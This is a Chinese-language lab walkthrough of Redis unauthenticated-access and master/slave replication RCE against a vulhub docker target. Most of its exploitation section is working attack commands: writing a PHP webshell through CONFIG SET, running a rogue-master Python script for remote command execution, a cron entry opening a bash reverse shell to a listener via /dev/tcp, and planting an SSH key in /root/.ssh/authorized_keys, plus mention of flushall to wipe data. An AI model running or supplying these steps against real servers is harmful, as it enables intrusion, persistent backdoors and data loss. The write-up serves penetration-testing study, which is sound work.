一、漏洞描述
Redis未授权访问 因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。
1. 导致敏感信息泄露
2. 执行 flushall 可清空所有数据
3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
4. 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录
Redis主从复制RCE
在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的
二、影响版本
数据库版本 4.x / 5.x
三、影响组件
Redis 服务器
四、漏洞判断
端口探测
nmap -v -Pn -p 6379 -sV: 192.168.116.149#-v:显示过程 -Pn:no ping -sV:版本探测
发现 6379 端口开放,版本为 4.x 存在未授权访问漏洞
五、漏洞利用
靶机ip:192.168.116.149
攻击机ip: 192.168.116.151
1、环境搭建
靶机环境搭建:
安装docker
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
安装docker
sudo apt-get update
sudo apt-get install docker-ce
安装vulhub
git clone https://gitee.com/puier/vulhub.git
打开环境
docker-compose up -d
docker-compose ps
在后台模式下启动和运行一个或多个容器
查看当前运行的容器
攻击机安装 redis-cli 远程连接工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
将 Redis 客户端命令行工具 redis-cli
的可执行文件复制到 /usr/bin/
目录下,使其成为系统可执行文件之一
cp src/redis-cli /usr/bin/
redis-cli -h
2、写入webshell
连接redis
写入webshell
config set dir /tmp
config set dbfilename shell.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
#因为靶场没有开启web端口无法直接上传木马文件,所以用写入shell文件的方式添加后门
#写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
查看靶机,发现webshell已经写入了
docker ps 查看ID
docker exec -it ID /bin/bash 到环境里面
3、使用py脚本执行远程命令
安装py脚本
git clone GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module
cd redis-rogue-getshell/RedisModulesSDK/exp
make
./redis-master.py -r 192.168.116.149 -p 6379 -L 192.168.116.151 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
执行命令whoami
4、写定时任务反弹shell
攻击机开启监听
因为权限问题我没能利用这个
redis-cli -h 192.168.116.149 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
等待一分钟左右就会收到反弹shell了:
5、写SSH公钥
在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空
进入/root/.ssh目录: 将生成的公钥保存到1.txt:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
连接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入):cat 1.txt | redis-cli -h 10.11.45.150 -x set crack
更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys:CONFIG SET dbfilename authorized_keys
保存并退出:
此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:
原文链接:https://blog.csdn.net/weixin_45605352/article/details/118790775
利用主从复制RCE(Python脚本)也直接看这篇
六、漏洞修复
升级版本